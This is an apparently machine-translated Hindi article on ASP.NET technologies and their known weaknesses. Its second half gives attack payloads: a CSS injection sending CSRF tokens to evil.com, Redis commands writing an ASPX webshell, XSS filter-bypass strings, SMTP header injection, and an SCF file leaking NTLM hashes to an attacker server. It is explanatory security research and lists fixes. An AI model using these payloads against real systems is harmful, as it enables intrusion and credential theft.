
जैसा कि सूचना सुरक्षा में विशेषज्ञ कहते हैं, "वे हर चीज, हर किसी को और हमेशा तोड़ते हैं।" इसी समय, ASP.NET पर हमले एक दुर्लभ चीज हैं। इसलिए, इस बारे में कुछ नया सीखना हमेशा बेहद उत्सुकता है। कट के तहत, रामबेलर ग्रुप सूचना सुरक्षा विभाग के विशेषज्ञ अलेक्सी मोरोज़ोव की कहानी इस तकनीक की ताकत और कमजोरियों के बारे में बताती है।
परिचय
आज एएसपी ने मध्यम और बड़ी परियोजनाओं के निर्माण के लिए एक उपकरण के रूप में अपनी लोकप्रियता अर्जित की है। और, किसी भी लोकप्रिय समाधान की तरह, ASP.NET बाहरी सुरक्षा शोधकर्ताओं, हैकर्स और परीक्षकों के लिए भी रुचि रखता है।
यह आलेख विभिन्न संस्करणों में संभावित ASP.NET सुरक्षा समस्याओं पर चर्चा करता है। हालांकि, यह ध्यान दिया जाना चाहिए कि एएसपी एक ही पीएचपी के समाधानों की संख्या में बहुत अधिक हीन है, और यह कई कारकों के कारण है।
PHP के विपरीत, ASP का उपयोग करना आमतौर पर बहुत अधिक जटिल और महंगा होता है (IIS के वाणिज्यिक संस्करण का उपयोग करके, विजुअल स्टूडियो डेवलपमेंट एनवायरनमेंट)। हाल तक (ASP.NET कोर के आगमन) तक, उपयोग केवल विंडोज के तहत और IIS वेब सर्वर पर संभव था। तैनाती भी अधिक जटिल है।
ASP (
एक्टिव सर्वर पेज ) डायनामिक पेज बनाने के लिए माइक्रोसॉफ्ट की तकनीक है।
विवरण: यह तकनीक जावास्क्रिप्ट भाषा में जावास्क्रिप्ट के साथ HTML पेज बनाना संभव बनाती है (जावास्क्रिप्ट के समान, लेकिन क्लाइंट स्क्रिप्ट के अलावा इसमें विंडोज ऑपरेटिंग सिस्टम और एएसपी पर सर्वर आवेषण के साथ काम करने के लिए कई विकल्प हैं)
एक उदाहरण :
<% @ Language = "JScript" %><% Response.Write("Hello World!"); %>
ASP.NETप्रौद्योगिकी विकास का अगला दौर नेट फ्रेमवर्क के आधार पर एएसपी कर्नेल का निर्माण था। नतीजतन, एएसपी को इस समाधान की सभी विशेषताएं प्राप्त हुईं, अर्थात्:
- विभिन्न प्रोग्रामिंग भाषाओं (C #, Visual Basic.NET, J # और JScript .NET) का उपयोग;
- स्क्रिप्टिंग प्रौद्योगिकियों की तुलना में वृद्धि की गति, क्योंकि पहली बार कोड संकलित किया गया है और एक विशेष कैश में रखा गया है, और बाद में केवल निष्पादित किया गया है, समय लेने वाली पार्सिंग, अनुकूलन की आवश्यकता के बिना;
- संकलित कोड जो आपको त्रुटियों को बेहतर रूप से पकड़ने की अनुमति देता है, इसलिए डिबगिंग प्रक्रिया स्वयं अधिक कुशल हो जाती है;
- पृष्ठ को कैश करने की क्षमता;
- व्यावसायिक तर्क से प्रस्तुति का पृथक्करण।
ASP.NET समाधान के आधार पर, निम्नलिखित प्रौद्योगिकियां बनाई गई हैं, जिन पर हम विचार करेंगे।
ASP.NET Ajax ASP.NET एक्सटेंशन में से एक है जो आपको सामग्री के भाग को अतुल्यकालिक रूप से अपडेट करने के लिए Ajax का उपयोग करने की अनुमति देता है।
एक उदाहरण :
<asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel>
ASP.NET Web Forms - ASP तकनीक का एक नया विकास है, जिसमें अनुप्रयोगों के निर्माण के लिए एक घटक-उन्मुख मॉडल में संक्रमण होता है।
विवरण:वेब फॉर्म्स मॉडल तीन मूल अवधारणाओं पर आधारित है: पेज पोस्टबैक, व्यू स्टेट और सर्वर कंट्रोल। प्रत्येक HTTP अनुरोध वेब सर्वर को भेजा जाता है और ASP.NET रनटाइम के लिए मैप किया जाता है, जिसमें कई चरण होते हैं जिसमें पोस्टबैक इवेंट का प्रसंस्करण केंद्र चरण होता है। पोस्टबैक ईवेंट मुख्य क्रिया है जिसे उपयोगकर्ता अपने अनुरोध को संसाधित करने के परिणामस्वरूप प्राप्त करने की अपेक्षा करता है। (उदा। एक बटन पर क्लिक करें)।
सीधे शब्दों में कहें, पारंपरिक नियंत्रण (नियंत्रण) और एक घटना-संचालित विकास मॉडल हैं।
एक उदाहरण :
दृश्य (aspx फ़ाइल) क्लाइंट साइड है।
<%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html>
तर्क प्रसंस्करण (सीएस फ़ाइल (यदि सी # का उपयोग करके)) - सर्वर साइड।
using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } }
ASP.NET वेब एपीआई एक और एक्सटेंशन है जो आपको एप्लिकेशन के साथ अधिक सुविधाजनक विकास और इंटरैक्शन के लिए एपीआई सेवाएं बनाने की अनुमति देता है।
एक उदाहरण :
[HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); }
ASP.NET MVC - प्रौद्योगिकी के विकास में अगला चरण एमवीसी (मॉडल-व्यू-कंट्रोलर) पैटर्न के तीन घटकों में व्यावसायिक तर्क को अलग करने के बाद होता है। रेजर इंजन भी पेश किया जा रहा है और साइट के प्रबंधित तत्वों को स्वतंत्र रूप से अनुकूलित करना संभव हो जाता है, जो वेब फॉर्म के साथ बहुत मुश्किल था।
लाभ :
- जटिल संरचनाओं के प्रबंधन को एक मॉडल, प्रस्तुति और नियंत्रक में एप्लिकेशन को विभाजित करके सुविधा प्रदान की जाती है;
- दृश्य स्थिति और सर्वर रूपों का उपयोग नहीं किया जाता है। यह डेवलपर्स के लिए MVC प्लेटफॉर्म को आदर्श बनाता है, जिन्हें एप्लिकेशन व्यवहार पर पूर्ण नियंत्रण की आवश्यकता होती है;
- मुख्य नियंत्रक सर्किटरी जिसमें वेब अनुप्रयोग अनुरोधों को एक एकल नियंत्रक के माध्यम से संसाधित किया जाता है। यह आपको उन अनुप्रयोगों को बनाने की अनुमति देता है जो विस्तारित रूटिंग बुनियादी ढांचे का समर्थन करते हैं;
- बड़ी विकास टीमों द्वारा समर्थित वेब अनुप्रयोगों के लिए अच्छी तरह से अनुकूल है।
एक उदाहरण :
प्रतिनिधित्व (देखें) @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html>
मॉडल (मॉडल) using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } }
नियंत्रक (नियंत्रक) using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } }
ASP.NET Core - ASP.NET में अगली सफलता सी # 7.0 के समर्थन के साथ, क्रॉस-प्लेटफॉर्म बन रही है।
प्रौद्योगिकी | ताकत | कमजोरियों |
---|
सक्रिय सर्वर पृष्ठ, एएसपी | सामान्य लक्ष्य | रनटाइम पर व्याख्या की गई, "स्पेगेटी कोड" का समर्थन करता है |
ASP.NET वेब फॉर्म 1.0 / 1.1 | संकलित, UI, OOP का समर्थन करता है | भारी थ्रूपुट, जटिल HTML, अप्राप्य |
ASP.NET वेब फॉर्म 2.0 | - | - |
ASP.NET Ajax | अजाक्स कार्यान्वयन | अनुचित जटिलता, लचीलेपन की कमी |
ASP.NET वेब फॉर्म 3.5-4.0 | - | - |
ASP.NET MVC 1.0-5.0 | विकास मॉडल पूरी तरह से बदल रहा है। लचीलापन है | क्रॉस-प्लेटफॉर्म की कमी। मक्खी पर संकलन करने में असमर्थ |
ASP.NET कोर | क्रॉस-प्लेटफ़ॉर्मिंग दिखाई देता है। खुला स्रोत | - |
ASP.NET में प्रमाणीकरण
ASP.NET MVC में तीन प्रकार के प्रमाणीकरण हैं जो एक दूसरे से काफी अलग हैं।
- कोई प्रमाणीकरण नहीं: ASP.NET पहचान और कोई अंतर्निहित प्रमाणीकरण प्रणाली;
- व्यक्तिगत उपयोगकर्ता खाते: डिफ़ॉल्ट रूप से परियोजना में ASP.NET पहचान प्रणाली शामिल है, जो आपको उपयोगकर्ताओं को आवेदन के भीतर और बाहरी सेवाओं जैसे कि Google, ट्विटर, आदि का उपयोग करने के लिए अधिकृत करने की अनुमति देती है।
- संगठनात्मक लेखा: साइटों और व्यक्तिगत कंपनियों और संगठनों के वेब अनुप्रयोगों के लिए उपयुक्त;
- विंडोज प्रमाणीकरण: विंडोज खातों का उपयोग कर इंट्रानेट नेटवर्क के लिए एक प्रमाणीकरण प्रणाली।

हैकिंग के मामले में ASP.NET
किसी भी तकनीक की तरह, ASP.NET को हैक कर लिया गया है। नीचे हम सबसे लोकप्रिय सुरक्षा अध्ययनों का वर्णन करेंगे, जिसमें न केवल एएसपी, बल्कि बुनियादी ढांचे के साथ संयोजन में भी शामिल है।
CVE आँकड़े
जैसा कि तालिका से देखा जा सकता है, पाता पर आंकड़े बहुत कम हैं। ऐसा इसलिए है क्योंकि ASP.NET को विस्तार से जांचने के लिए अच्छे ज्ञान की आवश्यकता है। और इस पर संसाधन भी उसी PHP की तुलना में बहुत कम हैं।
प्राधिकरण बाईपास के लिए एक शून्य बाइट का उपयोग करनाCVE: CVE-2011-3416
विवरण: प्राधिकरण को बायपास करना संभव है।
एल्गोरिथ्म:- एक मौजूदा उपयोगकर्ता नाम के साथ एक नया खाता पंजीकृत करें;
- पंजीकरण करते समय, नल-बाइट और अतिरिक्त वर्ण (व्यवस्थापक% 0012sd) जोड़ें;
- इस प्रकार, विशिष्टता की जांच पास हो जाएगी। एक नया "व्यवस्थापक" उपयोगकर्ता एक ही भूमिका के साथ बनाया जाएगा, लेकिन एक नए पासवर्ड के साथ।
उदाहरण संवेदनशील कोड :
If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “ .” + “ ”); } }
प्रूफ-ऑफ-कॉन्सेप्ट :
समाधान: यह त्रुटि .Net 3.5 में तय की गई थी
रिमोट डिबगिंगविवरण: चूंकि ASP.NET एक संकलित अनुप्रयोग है, इसमें कुछ डीबगिंग सुविधाएँ हैं। Microsoft आपको अनुप्रयोग के डिबग संस्करण पर काम करने के लिए एक दूरस्थ डीबगर का उपयोग करने की अनुमति देता है।
यदि यह पोर्ट इंटरनेट पर खुला है और एक सरल पासवर्ड द्वारा सुरक्षित है या कोई पासवर्ड नहीं है, तो डिबगर चुनना संभव है। इसके अलावा, यह आपको DEBUG मोड में एप्लिकेशन को प्रभावित करने की अनुमति देगा। जिसमें पासवर्ड निकालना, तर्क बदलना, अनुरेखण करना, आदि शामिल हैं।
प्रूफ-ऑफ-कॉन्सेप्ट :
समाधान: एक मजबूत पासवर्ड का उपयोग करें और डिबगिंग के लिए सेवा को उजागर न करें।
SMTP हैडर इंजेक्शनविवरण: आपको SMTP प्रोटोकॉल के एक छोटे विनिर्देश को याद करने की आवश्यकता है।
एक नियमित SMTP सरल संदेश पैकेट कैसा दिखता है, इसका एक उदाहरण:
Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32 Lunch today?
जाहिर है, "टू" हेडर में आने वाले मूल्य के सत्यापन की अनुपस्थिति में, पत्र को किसी अन्य पते पर पुनर्निर्देशित करना संभव है। लेकिन यह बहुत सरल और स्पष्ट होगा, इसलिए सत्यापन पहले से ही .Net स्तर पर हो रहा है।
हालांकि, यदि आप उत्तर के लिए एक नया उत्तर देते हैं - हेडर, तो जवाब के लिए एक पता, जैसे "फॉरगॉटेन पासवर्ड" अक्सर कई भेजने वाले पते से लेते हैं, इसलिए, यह कैरेज रिटर्न और लाइन फीड पात्रों को पेश करने और वर्कलोड प्राप्त करने के लिए पर्याप्त है।
... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ... : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
उदाहरण संवेदनशील कोड: MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m);
प्रूफ-ऑफ-कॉन्सेप्ट :
समाधान: जटिल कोड न लिखें, ताजा .Net का उपयोग करें
आंशिक दृश्य में आर.सी.ई.विवरण: ASP.NET MVC शब्दावली में दो महत्वपूर्ण अवधारणाएँ हैं:
दृश्य वह दृश्य है जो उपयोगकर्ता देखता है। जैसा कि पहले ही उल्लेख किया गया है, रेजर या वेब फॉर्म इंजन के लिए धन्यवाद, सर्वर-साइड कोड को लागू करना संभव है।
आंशिक दृश्य -
आंशिक दृश्य । यह व्यू की सामग्री का हिस्सा है, जिसे सुविधा के लिए एक अलग फाइल में लिया गया है।
आंशिक दृश्य में कुछ फ़ील्ड होना आवश्यक है, जो HTML में प्रस्तुत किया गया है, और जिसमें एक खतरनाक लोड दर्ज करना संभव है।
उदाहरण लोड: वर्तमान उपयोगकर्ता का पासवर्ड प्राप्त करना
@((Account.Models.User)Session[“User”].Password
व्यू में प्राप्त होने के परिणामस्वरूप, इस कोड को निष्पादित किया जाएगा। चूंकि निर्देश रेजर इंजन के रूप में पहचाने जाएंगे। नीचे दिया गया आंकड़ा दिखाता है कि यह कैसे होता है।
एल्गोरिथ्म:- उपयोगकर्ता नियंत्रक से अनुरोध करता है;
- नियंत्रक दृश्य को प्रस्तुत करता है;
- दृश्य के अंदर, एक आंशिक दृश्य सामने आता है, जिसके बाद नियंत्रक से फिर से अनुरोध किया जाता है, जो आंशिक दृश्य प्रदान करने के लिए जिम्मेदार है;
- समाप्त आंशिक दृश्य प्राथमिक और उपयोगकर्ता के लिए प्राथमिक में वापस आ जाता है।
प्रूफ-ऑफ-कॉन्सेप्ट :
एक सरलीकृत उदाहरण :
@{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view – @model string @{ Layout = null; } @Model Index view – @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); }
प्रूफ-ऑफ-कॉन्सेप्ट :
पुनश्च पुन: पेश करने का प्रयास असफल है।
सीएसआरएफ और सीएसएस इंजेक्शनये कमजोरियाँ उपयोगकर्ता के साथ बातचीत करती हैं।
CSRF (क्रॉस साइट रिक्वेस्ट फोर्जरी) - क्रॉस-साइट रिक्वेस्ट फर्जी।
एल्गोरिथ्म:- उपयोगकर्ता हैकर साइट पर आता है;
- प्रपत्र फ़ील्ड में भरता है;
- प्रपत्र का डेटा उपयोगकर्ता की ओर से और उसकी भूमिका के साथ किसी अन्य साइट पर भेजा जाता है;
- इस प्रकार, उपयोगकर्ता, इसे साकार किए बिना, दूसरे संसाधन पर कुछ क्रियाएं करता था।
इस प्रकार के हमले से बचाने के लिए, सीएसआरएफ टोकन का आविष्कार किया गया था, एक नियम के रूप में, यह एक स्ट्रिंग है जिसमें वर्णों का अनुक्रम होता है।
एक भेद्यता में पाया गया कि CSRF के खिलाफ सुरक्षा को दरकिनार किया गया। एक टोकन के रूप में मूल से बहुत कम स्ट्रिंग का उपयोग करना आवश्यक था।
नियमित टोकन <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
कमजोर टोकन <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
CSS के माध्यम से टोकन चोरी करने के लिए लोड (XSS नहीं):इस मामले में जब टोकन को ट्रंक करना मदद नहीं करता है, तो आप सीएसएस-इंजेक्शन हमले का सहारा ले सकते हैं, जो आपको पृष्ठ से टोकन चोरी करने और अपने संसाधन पर आकर्षित करने की अनुमति देता है। इसके लिए धन्यवाद, एक वास्तविक टोकन उपयोगकर्ता को दिया जाता है, और उसकी ओर से साइट पर आवश्यक अनुरोध किया जाता है।
लोड उदाहरण :
%0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;}
DocX में XXEविवरण: ASP.NET, अन्य तकनीकों की तरह, कई तृतीय-पक्ष समाधान का उपयोग करता है। ASP.NET में एकीकृत इन समाधानों में से एक में, XXE (XML एक्सटर्नल एंटिटीज) भेद्यता पाई गई, जिसमें एक xml पार्सर त्रुटि और बाहरी संस्थाओं को जोड़ने की क्षमता है जिसमें महत्वपूर्ण डेटा शामिल हो सकते हैं।
OWASP पृष्ठों पर XXE के बारे में और पढ़ें।
इस मामले में, घटक डॉक्स (Microsoft वर्ल्ड) फ़ाइलों को लोड और पार्स करने के लिए जिम्मेदार है। चूंकि कोई भी कार्यालय दस्तावेज़ वास्तव में xml फ़ाइलों का एक सेट है, पार्सिंग एक XXE हमले का कारण बन सकता है।
एल्गोरिथ्म:- अनपैक्ड कार्यालय दस्तावेज़;
- लोड शुरू किया जा रहा है;
- यह डॉक्स के रूप में वापस पैक किया गया है;
- यह प्रसंस्करण के लिए सर्वर पर डाला जाता है, जहां एक असुरक्षित घटक का उपयोग किया जाता है।
प्रूफ-ऑफ-कॉन्सेप्ट :
रेडिस के माध्यम से आरसीईविवरण: कमजोर घटकों के अलावा, ASP.NET हैकिंग को कमजोर प्रौद्योगिकियों के साथ जोड़ा जा सकता है। उदाहरण के लिए, रेडिस रैम स्टोरेज सिस्टम में एक लंबे समय तक चलने वाली भेद्यता को जाना जाता है जो सर्वर साइड पर मनमाने कोड को निष्पादित करने की अनुमति देता है। अगला, यह हमला एएसपी के संबंध में माना जाएगा।
एल्गोरिथ्म:- रेडिस से कनेक्शन। यह महत्वपूर्ण है कि यह वेब सर्वर के समान सर्वर पर चलता है;
- निम्न प्रविष्टि को निष्पादित करना और परिणामी पृष्ठ को देखने के लिए वेब सर्वर का उपयोग करना, मनमाना कोड निष्पादित किया जाएगा। इस मामले में, कैलकुलेटर को कॉल करना:
config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save
प्रूफ-ऑफ-कॉन्सेप्ट :
XSS बायपास फ़िल्टरASP.NET का XSS वर्ग के हमलों से डेटा को फ़िल्टर करने का अपना तंत्र है। जब आप निषिद्ध वर्ण या हस्ताक्षर हस्तांतरित करने का प्रयास करते हैं, तो निम्न सुरक्षा ट्रिगर होती है:

हालाँकि, इस सुरक्षा के लिए कई रास्ते हैं। यहाँ उनमें से कुछ हैं:
- % EF% BC% 9Cimg% 20src% 3Dxxx% 20onerror% 3D अलर्ट (1) % EF% BC% 9E
- <- / स्क्रिप्ट> चेतावनी (1) ;
- </ XSS / * - * / स्टाइल = xss: ई / ** / एक्सप्रेशन ( अलर्ट ('XSS) )>
- % uff1cscript% uff1e अलर्ट ('XSS') ;% uff1c / स्क्रिप्ट% uff1e
हाल के संस्करणों में, ये विधियां अब काम नहीं करती हैं, हालांकि, जैसा कि पहले ही उल्लेख किया गया है, ASP.NET प्रौद्योगिकी मुख्य रूप से बड़ी और लंबी परियोजनाओं के लिए बनाई गई थी, इसलिए इस भेद्यता से कई और संसाधन प्रभावित हो सकते हैं।
शेल कमांड फाइलविवरण: बहुत समय पहले, Google Chrome ब्राउज़र से संबंधित एक भेद्यता गड़बड़ा गई थी, जिसका सार उपयोगकर्ता के NTLM हैश को चुराना था।
एल्गोरिथ्म:1) एक फ़ाइल scf एक्सटेंशन और निम्नलिखित सामग्री के साथ तैयार की जाती है
[Shell] IconFile=\\***.**.*.***\icon
जहां तारांकन के बजाय IP हमलावर के smb सर्वर का पता है;
2) जब यह उपयोगकर्ता के कंप्यूटर पर पहुंच जाता है, तो इस फ़ाइल को खोलने की भी आवश्यकता नहीं होती है। उपयोगकर्ता के लिए बस उसी फ़ोल्डर में जाना पर्याप्त है जहां यह फ़ाइल स्थित है। जैसे ही यह होता है, एक हैश पैकेट SMB सर्वर को भेजा जाएगा;
3) इस प्रकार, बुनियादी हैकिंग को ओपन रिडायरेक्ट जैसी सरल कमजोरियों के साथ भी जोड़ा जा सकता है।
प्रूफ-ऑफ-कॉन्सेप्ट :
आपका ध्यान के लिए धन्यवाद! अपने अनुभव को साझा करें और इस लेख की टिप्पणियों में अलेक्सी मोरोज़ोव (उर्फ
सोल्फा ) के प्रश्नों को छोड़ दें।